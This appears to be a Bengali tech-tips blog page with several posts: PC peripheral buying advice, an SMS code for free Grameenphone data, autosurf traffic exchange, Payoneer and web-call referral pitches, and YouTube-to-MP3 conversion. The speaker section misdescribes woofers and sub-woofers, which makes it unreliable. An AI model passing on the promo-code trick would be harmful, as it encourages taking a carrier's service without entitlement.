১. দুই ধরনের UPS পাওয়া যায়। Online UPS এবং Offline UPS। এদের মধ্যে পার্থক্য হল, বিদ্যুৎ চলে গেলে Online UPS on হতে কোন সময় নেয় না, কিন্তু Offline UPS সামান্য সময় নেয়। সম্ভবনা কম হলেও এই সামান্য সময়ের মধ্যে কম্পিউটারের পাওয়ার চলে গিয়ে রি-স্টার্ট হতে পারে।
২. আপনার চাহিদা অনুযায়ী UPS এর পাওয়ার select করবেন। মনিটরের স্ক্রিন বড় হলে, বেশি পাওয়ারের গ্রাফিক্স কার্ড ব্যবহার করলে, উন্নত প্রসেসর হলে বেশি পাওয়ারের UPS প্রয়োজন। দোকানে আপনার কম্পিউটারের কনফিগারেশন বললে তারা সঠিক UPS দিতে পারবে।
৩. সাধারণত একটি UPS এর Back-up time ২০-২৫ মিনিট। এর চেয়ে বেশি Back-up time এর UPS কিনতে হলে মূল্য বেশি হবে।
Uninterruptible Power Supply
Uninterruptible Power Supply
TV- Tuner/ TV card:
কম্পিউটারের মনিটরকে একই সাথে টিভি দেখার কাজে ব্যবহার করতে প্রয়োজন। LCD/LED টিভির মূল্য বেশি বলে অনেকেই LCD monitor এবং TV card কিনে টিভি দেখার পদ্ধতির দিকে ঝুঁকছেন। তবে টিভি দেখাই যদি হয় আপনার উদ্দেশ্য, তবে LCD/ LED TV monitor ই কিনুন। এতে ফলাফল ভালো পাবেন। TV card এর সুবিধা হল, এর মাধ্যমে আপনি শুধু টিভিই দেখতে পাবেন না, অনুষ্ঠানও রেকর্ড করে আপনার হার্ডডিস্ক এ জমা করে রাখতে পারবেন। TV tuner অবশ্যই মনিটরের রেজ্যুলেশন এর সাথে সামঞ্জস্য পূর্ণ হতে হবে। শপ এ আপনার মনিটরের রেজ্যুলেশন বা মডেল বললেই তারা সঠিক টিভি কার্ড বেছে দিতে পারবেন। TV card এর জন্য ভালো ব্র্যান্ড হল: Avermedia, Real view, Gadmei ইত্যাদি।

Uninterruptible Power Supply
Speaker বা স্পিকার:
কম্পিউটারের আরেকটি আউটপুট ডিভাইস। গানের প্রতি আপনার আসক্তি অনুযায়ী এটি কিনবেন। ২:১ এর স্পিকার হল মোট তিনটি স্পিকারের সমষ্টি, যার মধ্যে একটি বড় এবং অন্য দুইটি ছোট। বড়টি হল উফার (woofer) এবং ছোটটি হল সাব উফার (sub-woofer)। উফারটি ব্যাস সাউন্ড এবং সাব উফারটি ট্রেবল প্রদান করে। গানে আপনার ভালো আসক্তি থাকলে এক্সটার্নাল সাউন্ড কার্ড কিনতে পারেন। তবে বর্তমান প্রায় সব মেইনবোর্ড এই ৫:১ সাউন্ড কার্ড বিল্ট-ইন থাকে। ফলে আপনি ৫:১ স্পিকার ব্যবহার করতে পারবেন। তবে আরও উন্নত সাউন্ডের জন্য ৭:২ স্পিকারও ব্যবহার করতে পারেন (এর জন্য ৭:২ সাউন্ড কার্ড লাগবে)। স্পিকারের জন্য ভালো ব্র্যান্ড হল Creative, Microlab, Logitech ইত্যাদি।
speaker

internet providers

আসসালামু আলাইকুম । আল্লাহ্‌র রহমতে সবাই নিশ্চয় ভালই আছেন ।
আজকে আপনাদের জন্য নিয়ে এলাম মাংনা ইন্টারনেট ১৫ এমবি ১৫ দিনের জন্য গ্রামীণফোন ব্যাবহারকারীদের জন্য ।
এখন বলি কিভাবে অ্যাক্টিভ করবেন ।
  • আপনার মোবাইলের মেসেজ অপশন এ যান ।
  • Write Message এ ক্লিক করুন ।
  • আবার লিখুন Igenp7 এখন 9999 নাম্বারে সেন্ড করুন ।
আপনার কাজ শেষ । এখন পর পর ২ টা SMS আসবে । এবং আপনি Succesful ।
যদি না আসে তবে দেখুন আপনার আগে কোন Package অ্যাক্টিভ করা আছে কিনা । যদি অ্যাক্টিভ করা থাকে তাহলে বদ্ধ করে নিতে হবে এজন্য stop লিখে 5000 নাম্বারে এসএমএস করুন । তারপর চেষ্টা করুন ।
আমি সফল হয়েছি । এবার আপনার পালা । এটা সম্ভবত ২-৩ বার অ্যাক্টিভ হবে , এরপর আর অ্যাক্টিভ হবে না । যততুকু পেলাম তততুকুই লাভ কি বলেন ।
এখন আসি গবেষণাই : এটা আমি আমার এক বন্ধুর কাছ থেকে জানতে পারি , কিন্তু সে বলতে পারে না এটা কিভাবে সম্ভব । আমার মনে হয় এটা I Genius দের জন্য । কারন গ্রামীণফোনের এখন I Genius এর প্রতিযুগিতা চলতেছে । যখন তাদেরকে ইন্টারনেট অ্যাক্টিভ করে দেওয়া হয় । তখন মনে হয় এর মাধ্যমে ফ্রী অ্যাক্টিভ করা হয় । আপনি কোডটি লক্ষ করুন Igen মানে I Genius এবং P7 মানে gp এর ১৫ এমবি এর Package । [ এটা নাও হতে পারে আমি ভাবলাম এর এটা আমার মাথায় আসল তাই বললাম । ]
এখন এই পর্যন্তই । আবার দেখা হবে ।

Sunday, December 30, 2012

improve traffic

আজ আমি আপনাদেরকে দেখাবো কিভাবে প্রচুর ভিজিটর নিয়ে আসবেন আপনার ওয়েবসাইট এ…. আমি উপকার পেয়েছি….. তাই লিখতে বসে গেলাম…..
১. এই কাজটি করার জন্য আপনাকে প্রথমে YOU LIKE WHAT  (http://youlikewhat.com)এ যেতে হবে……….. তারপর রেজিস্টার করে লগ ইন করুন…………
You Like What
২. আপনাকে প্রথম রেজিস্টার এর জন্য ৫০ কয়েন বোনাস দেয়া হবে………… তখন Add Site এ ক্লিক করুন…. তারপর Add site এ যাওয়ার পর type এ Traffic Exchange সিলেক্ট করুন। তারপর Link এ আপনার Website Link যোগ করুন। title এ একটি সুন্দর টাইটেল দিন। coin এ আপনি কত কয়েন নিয়ে কাজ করবেন তা লিখুন। তারপর অন্যরা আপনার Website Visit করার জন্য কত কয়েন করে পাবে তা সিলেক্ট করুন।তারপর Add Site এ ক্লিক করুন।
Get Traffic
৩. আপনার সাইটটি কনফার্ম হওয়া পর্যন্ত অপেক্ষা করুন….
Get Free Traffic
৪. তারপর আপনার কয়েন বাড়ানোর জন্য Earn Coins থেকে Auto Surf এ যান।
Get Unlimited Traffic
৫. তখন অন্য একটি ট্যাব এ সার্ফিং হতে থাকবে……. যতক্ষন সার্ফিং হবে ততক্ষন আপনার কয়েন বাড়তে থাকবে….. আপনি ইচ্ছা করলে অন্য আরেকটি ট্যাব খুলে আপনার অন্যান্য কাজ করতে পারেন… সার্ফিং চলতে থাকবে……….
Get USA Traffic
৬.আপনার কাজ শেষ হলে আবার YOU LIKE WHAT এ ফিরে আসুন……. তারপর শেষ কাজ হিসেবে My sites এ যাবেন। তারপর Traffic Exchange সিলেক্ট করে “+” এ ক্লিক করুন।
USA Traffic Free
৭. তারপর আপনার Available কয়েন গুলো Add  করুন। কাজ শেষ।
Free Traffic
৮. আপনি ইচ্ছা করলে আপনার কয়েন আরো বাড়াতে পারেন….. তারজন্য Promote Site এ গিয়ে Text Link টি আপনার বন্ধুদের সাথে শেয়ার করতে পারেন…….. ঐটা আপনার রেফারাল লিংক…… ওই লিংক থেকে কেউ রেজিস্টার করলে আপনি ২০০ কয়েন বোনাস পাবেন…….  তাছাড়া html কোড তা আপনার ব্লগ বা ওয়েবসাইট এ পোস্ট করেও কয়েন বোনাস পেতে পারেন…….
Get free visitor

*প্রতিদিন সর্বোচ্চ রেফারকারি ৫০০ কয়েন বোনাস পাবে।*

mastercard pre paid card


নিয়ে নিন একটি Payoneer Debit Master Card ফ্রী সাথে 25$ Bonus !!!  অবিশ্বাস্য হলেও সত্য যদি আপনার Payoneer Debit Master Card না থেকে থাকে তাহলে এখনই নিয়ে নিন একটি Payoneer Debit Master Card এবং কার্ড এদম ফ্রী এবং 100 USD লোড করার সাথে সাথে ই পেয়ে যাবেন 25$ Bonus।
যারা  Payoneer সম্পর্কে বিস্তারিত যানেন না তারা যেনে নিন নিচে থেকে আর যারা যানেন তারা এই লিঙ্ক এ ক্লিক করুন এবং নিয়ে নিন একটি Payoneer Debit Master Card একদম ফ্রী ।

Payoneer কি ?
Payoneer হলো একটি অনলাইন পেমেন্ট প্রসেসিং কম্পানি। বলতে পারেন International Debit Master Card Provider. Odesk, Elance, Freelancer, Forex CLub, Insta Forex, Infolinks এর মত নামি দামি কম্পানি গুল তার Client  দের জন্য ব্যবহার করছে Payoneer Debit Master Card, নিরাপত্তা, Client Support, ও অনান্য সুবিধায় Payoneer তুলনা হয় না। Payoneer এর সব Debit Master Card গুল USA Choise Bank থেকে Issue করা USA Choise Bank  FDIC এর ১ম Member । Payoneer একটি US Company  এবং Payoneer Debit Master Card ও পোস্ট এর মাধ্যমে USA থেকে আপনার ঠিকানায় পাঠিয়ে দাওয়া হবে ।
Payoneer নিয়ে কিছু Common প্রশ্ন
কার্ড কিভাবে পাবো?
Payoneer Debit Master Card আপনি Payoneer এর যেকোন Partner Company (Odesk, Elance, Freelancer, Forex CLub, Insta Forex, Infolinks) এর মাধ্যমে অ্যাপ্লাই করে নিতে পারেন তবে সাধারনত এখেত্রে আপনাকে 20 to 35 USD Pay করতে হবে । না ভয় নেই আমি যেই লিঙ্ক দিচ্ছি এতে কোন Payment লাগবে না । তবে অনান্য ফি লাগবে যেমন কার্ড পাওয়ার ১ বসর পর Yearly Renew Fee, Transaction Fee, ATM Withdraw Fee, etc.
আমার দাওয়া এই লিঙ্ক এ ক্লিক করুন Registration/Apply করুন কার্ড এর জন্য।
মনে রাখবেন অবশ্যই Information গুল ঠিক দিবেন মানে According to Passport or National ID.
Registration/Apply করার কিছু দিন পরে আপনার কাছে Passport or National ID এর Scan Copy চাবে।
আপনি Passport or National ID এর Scan Copy দেওয়ার পরে Payoneer তা ভেরিফাই করবে শব কিছু ঠিক থাকলে আপনি Confirmation Mail পাবেন এবং ২৫ কর্ম দিবস এর মধ্যে আপনার কার্ড আপনার দেওয়া ঠিকানায় পউছে যাবে।
কিভাবে Balance Load করব ?
আপনি যদি Outsourcing or Forex  করে থাকেন তবে ওখান থেকে সরাসরি কার্ড এ Withdraw দিন। অথবা Money Booker, Bank Wire or Card To Card Transfer করে Load করতে পারবেন
বোনাস ?
হ্যা কার্ড হাতে পাওয়ার পর Active করুন এবং আর পর তাতে 100 USD Load করলেই পেয়ে যাবেন আপনার বনাস 25 USD।
সতর্কতা
জাদের Payoneer Debit Master Card আছে তারা Registration/Apply করবেন না ।
আপনার ঠিকানা ঠিক মত দিন কারন ওই ঠিকানা তে ই কার্ড Delivery দাওয়া হবে।
যাদের Payoneer Debit Master Card দরকার নেই তারা Registration/Apply করবেন না ।
কার্ড এর শাথে একটি Letter থাকে যাতে PIN Code থাকবে এটি গোপন তাই গোপন রাখুন।
কার্ড পাওয়ার সাথে সাথে Payoneer এর ওয়েব সাইট এ গিয়ে আপনার Account এ Login করুন এবং কার্ড টি Active করুন।

Thursday, December 27, 2012

mp3 download

আসসালামুয়ালাইকুম।
সবাই কেমন আছেন। নিশ্চয়ই ভালো। অনেক দিন পর টিউন করতে বসলাম। ত কথা না বারিয়ে মূল টিউন এ চলে যাই।
আমরা যারা আডিও গান শুনতে ভালোবাসি তারা নতুন নতুন গান সবসময় নেট থেকে নামিয়ে নেই। এজন্য আমাদের গুগল এর সাহাজ্জ নিয়ে সার্চ দিতে হয়। তাতে বিভিন্ন ওয়েব এড্রেস আসে। তা থেকে ধুকে গান ডাউন লোড করতে হয়। কিন্তু আপনি চাইলে খুব সজজেই কাজটি করতে পারেন। তার জন্য নিচের পদ্ধতি অনুসরন করুন।
Youtube সম্পর্কে আমরা সবাই জানি। এখানে আপনি সব ধরনের ভিডিও গান পাবেন। কোন গান খুজার জন্য আপনি আগে ইউ টিউব এ প্রবেশ করুন। তারপর search box এ আপনার পছন্দের গান টি লিখে সার্চ দিন। দেখবেন গানটির ভিডিও ফাইল আপনার সামনে হাজির হয়েছে। এবার ভিডিও গানের লিঙ্কটি কপি করুন।
এবার এখানে ক্লিক করে প্রবেশ করুন।

এবার ১ নং চিত্রে দেখানো স্থানে আপনার গানের লিঙ্কটি পেস্ট করুন।
এবার ২ নং চিত্রে দেখানো Convert Video তে ক্লিক করুন।
তাহলে আপনার গানটি অডিওতে কনভার্ট হয়ে যাবে। এবার ডাউন লোড অপশনে ক্লিক করে গানটি ডাউন লোড করে নিন।
কোন সমস্যা হলে জানাবেন।

web call direct

বন্ধুরা আশাকরি সবাই খুব ভাল আছেন। আপনাদের কাছে একটা ফাটাফাটি জিনিস শেয়ার করছি  সবার প্রথমে হল যা ১০০% কাজ করে। বন্ধুরা  হয়তো অনেকে এটা জানেন তারপরও যারা নতুন তাদের জন্য। ভুল হলে ক্ষমা করবেন। একটা ওয়েব সাইট যেখানে গিয়ে শুধু সাইন আপ করবেন ফ্যীতে এবং  এর পর আপনার মোবাইল টা ভেরিফাই কের নিন । ভেরিফাই করার নিয়ম হল আপনি লগইন করার পর একটা মাবাইল এর আইকন দেখতে পাবেন সেখানে আপনার মোবাইল নাম্বারটা এ্যাড করে তারপর কল বাটনে চাপুন একটু পরেই দেখবেন আপনার মাবাইলে একটি কল আনবে +১২৩৪ এই রকম এবং পিসিতে একটা ৪ ডিজিটের সিকিউরিটি  কোড দেখাবে  , কলটা রিসিভ করে  আপনার মোবাইলে ঐ কোডটি বিপ টোন এর পর চাপুন এবার কাজ শেষ দেখুন সাথে সাথে   আপনার একাউন্টে জমা হবে .25€ । যা দিয়ে কথা বলা শুরু করে দিন ।


কাজ কিন্ত শেষ না এবার একাউন্ট এর বেলেন্স বাড়ানোর জন্য বন্ধুদের সাথে শেয়ার করুনএবং বেশি করে বন্ধুদের সাথে শেয়ার করে 0.15€ করে জমিয়ে কথা বলুন দেশে ও বিদেশে যখন খুশি তখন । এ্ছাড়াও মেসেজ, গুপ চ্যাট এবং আরও অনেক কিছু । এখান থেকে সাইন আপ করুন———————একাউন্ট সাইন আপ ।